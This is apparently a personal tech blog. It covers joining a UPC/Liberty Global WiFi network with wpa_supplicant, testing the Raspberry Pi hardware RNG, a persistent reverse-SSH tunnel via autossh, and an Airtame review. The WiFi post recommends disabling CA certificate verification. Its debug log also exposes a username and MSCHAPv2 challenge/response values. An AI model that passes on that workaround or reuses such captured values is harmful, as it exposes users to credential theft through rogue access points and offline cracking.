VWxH50Hs5uJ/r1VEOeCsdO5l0/qrUUgw8T53be3kD0CY7kd/jbZYJ82Sb2AjzAKb
WSh4olGd0Eqc5ZNemI/L7z/K/uCvpMlbbkBYpZItvV1lVcW/fARB2aS1gOmUYAIQ
OGoICNdTHC2Tr8kTe9RsxDrE+4CsuzpOVHrNTrM+7fH8EU6f9fMUvLmxMc72qi+l
+MPpZqmyIJ3E+LgDYqeF0RhjWw==
-----END CERTIFICATE-----

subject=/OU=Domain Control Validated/CN=*.upcbroadband.com
issuer=/O=AlphaSSL/CN=AlphaSSL CA - G2
-----BEGIN CERTIFICATE-----
MIIEtzCCA5+gAwIBAgISESEulCUW/1LPLh5Wj7dtRUYSMA0GCSqGSIb3DQEBBQUA
MC4xETAPBgNVBAoTCEFscGhhU1NMMRkwFwYDVQQDExBBbHBoYVNTTCBDQSAtIEcy
MB4XDTEzMDExNjEyMzY0M1oXDTE1MDExNzEyMzY0M1owQDEhMB8GA1UECxMYRG9t
YWluIENvbnRyb2wgVmFsaWRhdGVkMRswGQYDVQQDDBIqLnVwY2Jyb2FkYmFuZC5j
b20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCh0AMi+hy7flw92BCL
dXuXeFVFGSE9nXnzhspXIPVTkMMGHfZrkbxw3DzTrLD490X3o3UcQ8gxwU80jf7I
71wpxaXLdUxAFk2IpgSb6hAtOiBGtioTx8/5ZxlGW+c1JPb6ompslyY4fe4f9y3k
9u6cIKAzttnTNLCOe1IUIfy1HjjDm3/lzVuuV4N7eu/bYtPE6RB8xpm/3lK2cRCB
T8ueRokeU3Wiq3mZSKenT54rw+3kWBFfAAKVjyNHctQHlrtzSal28JQJ/tVLhhOM
sDO0kss0y+U0wbzjc/sfjBHDaNxboTc4C9MwzEScNrn9WH8qj/xT+nHTFBITiqSh
1EF5AgMBAAGjggG7MIIBtzAOBgNVHQ8BAf8EBAMCBaAwTQYDVR0gBEYwRDBCBgor
BgEEAaAyAQoKMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vd3d3Lmdsb2JhbHNpZ24u
Y29tL3JlcG9zaXRvcnkvMC8GA1UdEQQoMCaCEioudXBjYnJvYWRiYW5kLmNvbYIQ
dXBjYnJvYWRiYW5kLmNvbTAJBgNVHRMEAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMB
BggrBgEFBQcDAjA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMi5hbHBoYXNz
bC5jb20vZ3MvZ3NhbHBoYWcyLmNybDB/BggrBgEFBQcBAQRzMHEwPAYIKwYBBQUH
MAKGMGh0dHA6Ly9zZWN1cmUyLmFscGhhc3NsLmNvbS9jYWNlcnQvZ3NhbHBoYWcy
LmNydDAxBggrBgEFBQcwAYYlaHR0cDovL29jc3AyLmdsb2JhbHNpZ24uY29tL2dz
YWxwaGFnMjAdBgNVHQ4EFgQUidh6RCyiMnWkZqNJ+NrOP9APjIswHwYDVR0jBBgw
FoAUFOoZVfAODTLGH3Qzt45mGkwSMR4wDQYJKoZIhvcNAQEFBQADggEBABMneGO7
KOzZ7pEB4NN9rHDizfz+3fauF68WQz9V3+byP53mwZWgfpX80nxi1uD3qGzgaNUB
mgenNxrsvziw1aiDAgMiwc+uhN8BYh/cezfp+pe2qBnyeu2CJBQ9tLIyyBp7cCl3
PGNSBhXr4xBxsfVV+4xqk7aLkG9aVelPIrQWokwPZ5VWBxjSAmrWipvPRfzb7IeA
DVM9W1ZhxyDY1D7d6F56Q0WTTNAsV/nWv9sNOlkME9lpF4ytpvxNHLHgO7cKvgr/
lTZMhfRdQB9Djn3OJ22O5AratklkkxJquvIAOYHvg6GEhWk+IFbg2Lkrn6tuPwB5
W24J6nCgFx/jzvc=
-----END CERTIFICATE-----

Throw these into a file and get openssl to verify:

[user@machine][~]=&gt; openssl verify liberty_global.pem
liberty_global.pem: OK

While the theory behind this is sound, unfortunately there was an issue when I attempted to test the connection:

SSL: SSL_connect:SSLv3 read server hello A
TLS: Certificate verification failed, error 19 (self signed certificate in certificate chain) depth 2 for '/C=NL/O=Liberty Global Operations B.V./OU=Root CA0001/CN=Liberty Global Root Certification Authority'
wlan1: CTRL-EVENT-EAP-TLS-CERT-ERROR reason=1 depth=2 subject='/C=NL/O=Liberty Global Operations B.V./OU=Root CA0001/CN=Liberty Global Root Certification Authority' err='self signed certificate in certificate chain'
SSL: (where=0x4008 ret=0x230)
SSL: SSL3 alert: write (local SSL3 detected an error):fatal:unknown CA
SSL: (where=0x1002 ret=0xffffffff)
SSL: SSL_connect:error in SSLv3 read server certificate B
OpenSSL: openssl_handshake - SSL_connect error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
SSL: 7 bytes pending from ssl_out
SSL: Failed - tls_out available to report error
SSL: 7 bytes left to be sent out (of total 7 bytes)

Apparently OpenSSL blows a fuse when pointed at the CA cert, as it seemingly tries to authenticate the CA cert against a higher authority – since this is a root cert that is not possible. Apparently I’m not the first to see this little problem.

Quick workaround is to disable the CA Cert setting in the wpa_supplicants file and we are in business:

SSL: SSL_connect:SSLv3 read server hello A
TLS: tls_verify_cb - preverify_ok=1 err=19 (self signed certificate in certificate chain) ca_cert_verify=0 depth=2 buf='/C=NL/O=Liberty Global Operations B.V./OU=Root CA0001/CN=Liberty Global Root Certification Authority'
wlan1: CTRL-EVENT-EAP-PEER-CERT depth=2 subject='/C=NL/O=Liberty Global Operations B.V./OU=Root CA0001/CN=Liberty Global Root Certification Authority'
TLS: tls_verify_cb - preverify_ok=1 err=19 (self signed certificate in certificate chain) ca_cert_verify=0 depth=2 buf='/C=NL/O=Liberty Global Operations B.V./OU=Root CA0001/CN=Liberty Global Root Certification Authority'
wlan1: CTRL-EVENT-EAP-PEER-CERT depth=2 subject='/C=NL/O=Liberty Global Operations B.V./OU=Root CA0001/CN=Liberty Global Root Certification Authority'
TLS: tls_verify_cb - preverify_ok=1 err=19 (self signed certificate in certificate chain) ca_cert_verify=0 depth=1 buf='/C=NL/O=Liberty Global Operations B.V./OU=HORIZON Service Operator CA0001/CN=Liberty Global HORIZON Service Operator Certification Authority'
wlan1: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=NL/O=Liberty Global Operations B.V./OU=HORIZON Service Operator CA0001/CN=Liberty Global HORIZON Service Operator Certification Authority'
TLS: tls_verify_cb - preverify_ok=1 err=19 (self signed certificate in certificate chain) ca_cert_verify=0 depth=0 buf='/CN=Liberty Global WiFi/OU=HORIZON/O=Liberty Global Operations B.V./C=NL'
wlan1: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/CN=Liberty Global WiFi/OU=HORIZON/O=Liberty Global Operations B.V./C=NL'
SSL: (where=0x1001 ret=0x1)
SSL: SSL_connect:SSLv3 read server certificate A
SSL: (where=0x1001 ret=0x1)
SSL: SSL_connect:SSLv3 read server done A
SSL: (where=0x1001 ret=0x1)
SSL: SSL_connect:SSLv3 write client key exchange A
SSL: (where=0x1001 ret=0x1)
SSL: SSL_connect:SSLv3 write change cipher spec A
SSL: (where=0x1001 ret=0x1)
SSL: SSL_connect:SSLv3 write finished A
SSL: (where=0x1001 ret=0x1)
SSL: SSL_connect:SSLv3 flush data
SSL: (where=0x1002 ret=0xffffffff)
SSL: SSL_connect:error in SSLv3 read finished A
SSL: SSL_connect - want more data
SSL: 318 bytes pending from ssl_out
SSL: 318 bytes left to be sent out (of total 318 bytes)
EAP: method process -&gt; ignore=FALSE methodState=MAY_CONT decision=FAIL
EAP: EAP entering state SEND_RESPONSE
EAP: EAP entering state IDLE
EAPOL: SUPP_BE entering state RESPONSE
EAPOL: txSuppRsp
TX EAPOL: dst=54:88:0e:b8:5d:79
TX EAPOL - hexdump(len=332): 01 00 01 48 02 07 01 48 19 80 00 00 01 3e 16 03 01 01 06 10 00 01 02 01 00 75 1a fa 59 f4 52 82 d3 c2 c4 da 8e 12 6b 25 ab bd 77 93 3c a4 0f bb a0 34 bf f9 63 d0 4c 8a 2d 5d 71 11 24 a6 33 71 8e 8f b9 87 36 18 21 b8 c0 09 11 3a 59 6a 6a 77 65 b3 75 69 24 75 8f be ef 2b 07 2c 20 78 89 84 6e 54 dd f0 34 80 d8 39 cf 6b 5c 10 cb cf 99 90 d5 12 7f 5d 08 17 49 79 28 d1 23 11 c5 dc 2f a7 19 2c e2 c4 5d 4b 35 18 93 dc c5 e9 6d 82 40 ff 13 a6 19 79 dd fb c6 20 e6 0a 02 4f 24 90 3b 5c ea 6a 1b 80 16 85 9e ab 04 51 b4 ac dd dd a5 59 b1 84 12 89 65 a9 64 82 f7 7f f2 6c 48 5d 0f e7 7d c8 5b 60 ee 8a 41 98 55 4e c2 92 55 8e b1 0a dd 55 d5 4f 7b 2d 0a 4a 8b df 1a e1 cf 12 0d cd c5 3e 45 18 e9 69 cb 96 5a 9e 69 cd 4d 72 63 07 ab ab c0 c4 a1 04 e1 2f ad 12 a9 c9 82 9c 1b fe 8e a1 d7 48 6c 6e dd 90 08 5d 8a 5f 0b 54 eb b0 4e e8 17 04 45 64 2e 67 6d 14 03 01 00 01 01 16 03 01 00 28 11 ea 76 36 ea 35 2f 95 eb f3 ff 22 9e 41 31 17 08 f9 e5 53 48 b1 96 c9 f7 6d a3 9b 25 f7 7a cb b3 a9 5d 8f f2 9e 9e 02
EAPOL: SUPP_BE entering state RECEIVE
wlan1: RX EAPOL from 54:88:0e:b8:5d:79
RX EAPOL - hexdump(len=63): 01 00 00 39 01 08 00 39 19 00 14 03 01 00 01 01 16 03 01 00 28 03 7e 2e d8 7e ce 49 a8 3e 53 d3 90 47 40 b3 c7 00 f2 00 7d d0 23 ae ba 9a 27 2d cd aa 0b 7f 68 52 48 f6 4a 58 f6 11 89 00 00
EAPOL: Received EAP-Packet frame
EAPOL: SUPP_BE entering state REQUEST
EAPOL: getSuppRsp
EAP: EAP entering state RECEIVED
EAP: Received EAP-Request id=8 method=25 vendor=0 vendorMethod=0
EAP: EAP entering state METHOD
SSL: Received packet(len=57) - Flags 0x00
SSL: (where=0x1001 ret=0x1)
SSL: SSL_connect:SSLv3 read finished A
SSL: (where=0x20 ret=0x1)
SSL: (where=0x1002 ret=0x1)
SSL: 0 bytes pending from ssl_out
SSL: No Application Data included
SSL: No data to be sent out
EAP-PEAP: TLS done, proceed to Phase 2
EAP-PEAP: using label 'client EAP encryption' in key derivation
EAP-PEAP: Derived key - hexdump(len=64): [REMOVED]
SSL: Building ACK (type=25 id=8 ver=0)
EAP: method process -&gt; ignore=FALSE methodState=MAY_CONT decision=FAIL
EAP: EAP entering state SEND_RESPONSE
EAP: EAP entering state IDLE
EAPOL: SUPP_BE entering state RESPONSE
EAPOL: txSuppRsp
TX EAPOL: dst=54:88:0e:b8:5d:79
TX EAPOL - hexdump(len=10): 01 00 00 06 02 08 00 06 19 00
EAPOL: SUPP_BE entering state RECEIVE
wlan1: RX EAPOL from 54:88:0e:b8:5d:79
RX EAPOL - hexdump(len=41): 01 00 00 23 01 09 00 23 19 00 17 03 01 00 18 ee f5 c3 a9 be 73 08 05 92 fd e0 52 73 8b 2a 53 a5 d9 64 8d cc 3c 20 f6 00 00
EAPOL: Received EAP-Packet frame
EAPOL: SUPP_BE entering state REQUEST
EAPOL: getSuppRsp
EAP: EAP entering state RECEIVED
EAP: Received EAP-Request id=9 method=25 vendor=0 vendorMethod=0
EAP: EAP entering state METHOD
SSL: Received packet(len=35) - Flags 0x00
EAP-PEAP: received 29 bytes encrypted data for Phase 2
EAP-PEAP: Decrypted Phase 2 EAP - hexdump(len=1): 01
EAP-PEAP: received Phase 2: code=1 identifier=9 length=5
EAP-PEAP: Phase 2 Request: type=1
EAP: using real identity - hexdump_ascii(len=8):
63 6f 6c 69 6e 6d 61 63                           colinmac
EAP-PEAP: Encrypting Phase 2 data - hexdump(len=13): [REMOVED]
SSL: 66 bytes left to be sent out (of total 66 bytes)
EAP: method process -&gt; ignore=FALSE methodState=MAY_CONT decision=FAIL
EAP: EAP entering state SEND_RESPONSE
EAP: EAP entering state IDLE
EAPOL: SUPP_BE entering state RESPONSE
EAPOL: txSuppRsp
TX EAPOL: dst=54:88:0e:b8:5d:79
TX EAPOL - hexdump(len=76): 01 00 00 48 02 09 00 48 19 00 17 03 01 00 18 0c 6d 84 e3 05 5a ed 21 51 24 0a f4 f3 c6 c7 49 df 39 c5 27 ad 3e cd 8d 17 03 01 00 20 46 a2 79 7f 71 23 e0 91 8a b0 24 11 c8 0f 48 44 09 78 ba ec 81 29 c8 dd 61 9e f1 42 87 92 ec b1
EAPOL: SUPP_BE entering state RECEIVE
EAPOL: startWhen --&gt; 0
wlan1: RX EAPOL from 54:88:0e:b8:5d:79
RX EAPOL - hexdump(len=65): 01 00 00 3b 01 0a 00 3b 19 00 17 03 01 00 30 26 88 61 ea ad c4 b0 dd 63 c9 18 29 ee 80 d1 0a 69 ab f4 b1 e9 2a 1e 26 26 37 22 4c 2e 3a 4a 15 43 43 62 3f 11 f9 4e df a3 f3 a8 d2 c4 71 68 bc 00 00
EAPOL: Received EAP-Packet frame
EAPOL: SUPP_BE entering state REQUEST
EAPOL: getSuppRsp
EAP: EAP entering state RECEIVED
EAP: Received EAP-Request id=10 method=25 vendor=0 vendorMethod=0
EAP: EAP entering state METHOD
SSL: Received packet(len=59) - Flags 0x00
EAP-PEAP: received 53 bytes encrypted data for Phase 2
EAP-PEAP: Decrypted Phase 2 EAP - hexdump(len=25): 1a 01 0a 00 18 10 ef 8b 8c 7b 1e 81 00 f8 0c c9 af 89 fd f6 2e 38 46 45 31
EAP-PEAP: received Phase 2: code=1 identifier=10 length=29
EAP-PEAP: Phase 2 Request: type=26
EAP-PEAP: Selected Phase 2 EAP vendor 0 method 26
EAP-MSCHAPV2: RX identifier 10 mschapv2_id 10
EAP-MSCHAPV2: Received challenge
EAP-MSCHAPV2: Authentication Servername - hexdump_ascii(len=3):
46 45 31                                          FE1
EAP-MSCHAPV2: Generating Challenge Response
Get randomness: len=16 entropy=21
MSCHAPV2: Identity - hexdump_ascii(len=8):
63 6f 6c 69 6e 6d 61 63                           colinmac
MSCHAPV2: Username - hexdump_ascii(len=8):
63 6f 6c 69 6e 6d 61 63                           colinmac
MSCHAPV2: auth_challenge - hexdump(len=16): ef 8b 8c 7b 1e 81 00 f8 0c c9 af 89 fd f6 2e 38
MSCHAPV2: peer_challenge - hexdump(len=16): 67 d4 8e 8e e8 48 22 57 9d be b7 2e 73 83 49 44
MSCHAPV2: username - hexdump_ascii(len=8):
63 6f 6c 69 6e 6d 61 63                           colinmac
MSCHAPV2: password - hexdump_ascii(len=16): [REMOVED]
MSCHAPV2: NT Response - hexdump(len=24): 10 79 02 a5 f2 bf eb 3e 3a 61 f8 2f 8d 32 35 56 4e 35 78 61 8a ef f7 95
MSCHAPV2: Auth Response - hexdump(len=20): 32 2c 46 ee 9d 2d c6 75 34 e7 df ca fa 35 2b 76 8a 5a 42 d9
MSCHAPV2: Master Key - hexdump(len=16): [REMOVED]
EAP-MSCHAPV2: TX identifier 10 mschapv2_id 10 (response)
EAP-PEAP: Encrypting Phase 2 data - hexdump(len=67): [REMOVED]
SSL: 122 bytes left to be sent out (of total 122 bytes)
EAP: method process -&gt; ignore=FALSE methodState=MAY_CONT decision=FAIL
EAP: EAP entering state SEND_RESPONSE
EAP: EAP entering state IDLE
EAPOL: SUPP_BE entering state RESPONSE
EAPOL: txSuppRsp
TX EAPOL: dst=54:88:0e:b8:5d:79
TX EAPOL - hexdump(len=132): 01 00 00 80 02 0a 00 80 19 00 17 03 01 00 18 55 ca 7a 1f a1 5d 3a 0a fc 0d db 15 36 2c 6b af 4b 79 39 4c 40 45 62 83 17 03 01 00 58 c1 08 63 3f a0 5e 42 9a 7f 41 9f bf a3 c7 ae 76 50 17 67 6e 94 ea 41 d8 91 70 04 90 b2 8d dd 8d 18 7f 4b f5 67 7a 4f 1a b3 da 86 4d 24 b6 bf 87 ac 0b 31 05 56 39 2e ec 7a 67 65 8f 3a 99 6c 6e d1 53 02 49 02 d6 19 20 cf 19 33 6a c1 05 5e 75 76 b7 c0 e2 dc fb 49 04
EAPOL: SUPP_BE entering state RECEIVE
wlan1: RX EAPOL from 54:88:0e:b8:5d:79
RX EAPOL - hexdump(len=89): 01 00 00 53 01 0b 00 53 19 00 17 03 01 00 48 6b ee 0f 37 d5 50 c5 65 30 01 05 78 12 a5 e5 e1 81 80 dd c4 ee 6c f3 d6 7c ab fd 1b 92 42 5c 8b fb 5d 8d 0d 2f 7b 82 86 2b 72 71 f8 8d 91 ae ef e0 4a d2 17 d1 c4 4b e2 6d 36 ae d2 fd 88 a7 96 b8 45 b5 69 e4 54 5f 12 00 00
EAPOL: Received EAP-Packet frame
EAPOL: SUPP_BE entering state REQUEST
EAPOL: getSuppRsp
EAP: EAP entering state RECEIVED
EAP: Received EAP-Request id=11 method=25 vendor=0 vendorMethod=0
EAP: EAP entering state METHOD
SSL: Received packet(len=83) - Flags 0x00
EAP-PEAP: received 77 bytes encrypted data for Phase 2
EAP-PEAP: Decrypted Phase 2 EAP - hexdump(len=47): 1a 03 0a 00 2e 53 3d 33 32 32 43 34 36 45 45 39 44 32 44 43 36 37 35 33 34 45 37 44 46 43 41 46 41 33 35 32 42 37 36 38 41 35 41 34 32 44 39
EAP-PEAP: received Phase 2: code=1 identifier=11 length=51
EAP-PEAP: Phase 2 Request: type=26
EAP-MSCHAPV2: RX identifier 11 mschapv2_id 10
EAP-MSCHAPV2: Received success
EAP-MSCHAPV2: Success message - hexdump_ascii(len=0):
EAP-MSCHAPV2: Authentication succeeded
EAP-PEAP: Encrypting Phase 2 data - hexdump(len=6): [REMOVED]
SSL: 58 bytes left to be sent out (of total 58 bytes)
EAP: method process -&gt; ignore=FALSE methodState=MAY_CONT decision=FAIL
EAP: EAP entering state SEND_RESPONSE
EAP: EAP entering state IDLE
EAPOL: SUPP_BE entering state RESPONSE
EAPOL: txSuppRsp
TX EAPOL: dst=54:88:0e:b8:5d:79
TX EAPOL - hexdump(len=68): 01 00 00 40 02 0b 00 40 19 00 17 03 01 00 18 39 d5 bf 6d ab 16 a3 06 c3 c3 25 b2 73 e5 67 a7 67 d9 d7 aa a8 8e 23 51 17 03 01 00 18 79 03 52 49 f6 02 7e 4d a5 7f 9d 2c 1b b5 29 b5 aa 31 8a 1e 5b ed a5 d9
EAPOL: SUPP_BE entering state RECEIVE
wlan1: RX EAPOL from 54:88:0e:b8:5d:79
RX EAPOL - hexdump(len=49): 01 00 00 2b 01 0c 00 2b 19 00 17 03 01 00 20 13 ba 7a c4 11 66 26 d0 30 0c 03 18 f1 b7 de 1e 21 22 6e 19 0a ff e9 46 de 42 dc bf d7 81 11 24 00 00
EAPOL: Received EAP-Packet frame
EAPOL: SUPP_BE entering state REQUEST
EAPOL: getSuppRsp
EAP: EAP entering state RECEIVED
EAP: Received EAP-Request id=12 method=25 vendor=0 vendorMethod=0
EAP: EAP entering state METHOD
SSL: Received packet(len=43) - Flags 0x00
EAP-PEAP: received 37 bytes encrypted data for Phase 2
EAP-PEAP: Decrypted Phase 2 EAP - hexdump(len=11): 01 0c 00 0b 21 80 03 00 02 00 01
EAP-PEAP: received Phase 2: code=1 identifier=12 length=11
EAP-PEAP: Phase 2 Request: type=33
EAP-TLV: Received TLVs - hexdump(len=6): 80 03 00 02 00 01
EAP-TLV: Result TLV - hexdump(len=2): 00 01
EAP-TLV: TLV Result - Success - EAP-TLV/Phase2 Completed
EAP-PEAP: Encrypting Phase 2 data - hexdump(len=11): [REMOVED]
SSL: 66 bytes left to be sent out (of total 66 bytes)
EAP: method process -&gt; ignore=FALSE methodState=DONE decision=UNCOND_SUCC
EAP: EAP entering state SEND_RESPONSE
EAP: EAP entering state IDLE
EAPOL: SUPP_BE entering state RESPONSE
EAPOL: txSuppRsp
TX EAPOL: dst=54:88:0e:b8:5d:79
TX EAPOL - hexdump(len=76): 01 00 00 48 02 0c 00 48 19 00 17 03 01 00 18 73 64 46 7d 38 e3 b0 07 de 23 4c 48 10 ac 96 c0 39 23 61 d5 34 03 14 af 17 03 01 00 20 01 9c d7 1c 26 ff f6 77 cf c0 d5 42 f3 56 b4 d0 9d b5 09 d5 77 b2 37 dc 40 41 c5 4c 09 fa 0c 4f
EAPOL: SUPP_BE entering state RECEIVE
wlan1: RX EAPOL from 54:88:0e:b8:5d:79
RX EAPOL - hexdump(len=10): 01 00 00 04 03 0c 00 04 00 00
EAPOL: Received EAP-Packet frame
EAPOL: SUPP_BE entering state REQUEST
EAPOL: getSuppRsp
EAP: EAP entering state RECEIVED
EAP: Received EAP-Success
EAP: EAP entering state SUCCESS
wlan1: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully

Otherwise, the proper way is to install the cert into the system

 

Raspberry Pi’s Hardware Random Number Generator

Given all the OpenSSH/Diffie-Hellman issues seen lately, I was regenerating all my certs to  longer ones, which on the RPi is a bit of a job. Afterwards I discovered that the RPi actually has a hardware RNG. To make use if this awesome tool:

Install the kernel module

sudo modprobe bcm2708-rng

Make sure it is always available by adding it to /etc/modules

bcm2708-rng

Install some cool RNG tools.

sudo apt-get install rng-tools

The hardware device should now be available to root as /dev/hwrng

Testing how random is random

We have the basic rngtest available to use courtesy of rng-tools – there are far harsher ones e.g. dieharder but they take a while to run. Testing for true randomness is quite hard – you need a vast number of tests, and even then we would expect a few failed tests for truly random input.

In this case I had 2 failed tests out of 1000, which is reasonable.

sudo cat /dev/hwrng | rngtest -c 1000
rngtest 2-unofficial-mt.14
Copyright (c) 2004 by Henrique de Moraes Holschuh
This is free software; see the source for copying conditions.  There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

rngtest: starting FIPS tests...
rngtest: bits received from input: 20000032
rngtest: FIPS 140-2 successes: 998
rngtest: FIPS 140-2 failures: 2
rngtest: FIPS 140-2(2001-10-10) Monobit: 0
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 1
rngtest: FIPS 140-2(2001-10-10) Long run: 1
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0
rngtest: input channel speed: (min=35.153; avg=859.670; max=1627604.167)Kibits/s
rngtest: FIPS tests speed: (min=401.935; avg=3276.347; max=7317.816)Kibits/s
rngtest: Program run time: 29046630 microseconds

In comparison with the linux /dev/random number generator it’s not bad at all. The linux /dev/random passed all the tests but took far longer – look at the difference between the input channel speed 233.256kibits/s vs. 859.670kibits/s.

sudo cat /dev/random | rngtest -c 1000
rngtest 2-unofficial-mt.14
Copyright (c) 2004 by Henrique de Moraes Holschuh
This is free software; see the source for copying conditions.  There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

rngtest: starting FIPS tests...
rngtest: bits received from input: 20000032
rngtest: FIPS 140-2 successes: 1000
rngtest: FIPS 140-2 failures: 0
rngtest: FIPS 140-2(2001-10-10) Monobit: 0
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 0
rngtest: FIPS 140-2(2001-10-10) Long run: 0
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0
rngtest: input channel speed: (min=97.034; avg=233.256; max=428.947)Kibits/s
rngtest: FIPS tests speed: (min=836.349; avg=5252.286; max=7274.209)Kibits/s
rngtest: Program run time: 87562313 microseconds

Persistent Reverse-SSH Tunnels with autossh and screen

I’ve been working to manage my place remotely as I tend to have irregular hours. As a pilot I put in a Raspberry Pi and got a Belkin WeMo Switch. I had two problems with this setup;

  1. The internet connection is NAT-ed
  2. The Belkin cloud-y manager thing doesn’t seem to work (neither does IFTTT)

My solution was to use the RPi to manage the WeMo, and to have a reverse-ssh tunnel between the RPi and my public server.

  1. Ensure that passwordless SSH is working between the RPi and the server – plenty of guides online about how to do this.
  2. Open a screen session
  3. Use autossh to open and maintain the tunnel
$ autossh -M 65500 -o ServerAliveInterval=20 -R 11141:localhost:22 [email protected]

Autossh will use ports 65500 and 65501 to send echo data over and back between server and host, and opening an ssh session on the public server to local port 11141 will tunnel back to the SSH port on the RPi

ssh -p 11141 [email protected]

While this works fine, there is a potential issue – if the RPi is rebooted/looses power for any reason, the tunnel will be gone so we need to automate the setup so that it will be fired up upon boot – we will use a crontab entry for this:

@reboot /usr/bin/screen -S reverse-ssh-tunnel -d -m autossh -M 65500 -i /home/pi/.ssh/id_rsa -o "ServerAliveInterval 20" -o "ServerAliveCountMax 3" -R 11141:localhost:22 [email protected]

This cron entry will open a screen on reboot with “reverse-ssh-tunnel” as the title, and issue the autossh command. Reboot the RPi to test and you should be good to go.

Simples 🙂

Airtame – Display anything… wirelessly

Finally got my hands on my Indiegogo funded Airtame last night, so wanted to put up a few thoughts on it. First impressions – very good. Simple packaging, 3 instructions to get you started and includes;

  • The Airtame
  • AC Power Adapter
  • EU Power Adapter (plug)
  • UK Power Adapter (plug)
  • HDMI Extension Cable
  • MicroUSB cable

Getting started

This was as simple as plugging in the dongle, and installing the app. The Airtame acts as a 5GHz WiFi access point, and sets a random password – displayed on the screen. Once connected directly you can then connect it to your WiFi network. All worked without any issues.

Slow Firmware Update

As I excitedly went to try a basic stream I had my only real disappointment – a lengthy (30 mins) firmware update before I could actually use the thing. At more then one point I thought that it might have stalled out but was dissuaded from killing the power by a warning not to. An ETA or at least some guidance on how long it would take should be considered.

Cool Things

It can use a website as the background/default page – to turn this on, in the app select your Airtame. Go to Manage -> Display -> Custom -> Website

Airtame Custom WallpaperIt will route your internet traffic, so once you connect to the Airtame 5GHz network, and provide it with your WiFi details you can continue to use the interweb while managing/streaming the device.

I found that when I was connecting via the WiFi router I had frequent dropped connections. Not sure if this is the router (fairly crap one) or the Airtame, but found the 5GHz connection via the Airtame to be very stable

Airtame RoutingAudio streaming – requires a restart in OS X. Then in the Airtame app, under preferences, move the streaming mode to ‘Video’ rather then the default ‘Work’. Note that this will introduce 5sec buffering by default.

Airtame Preferences Mode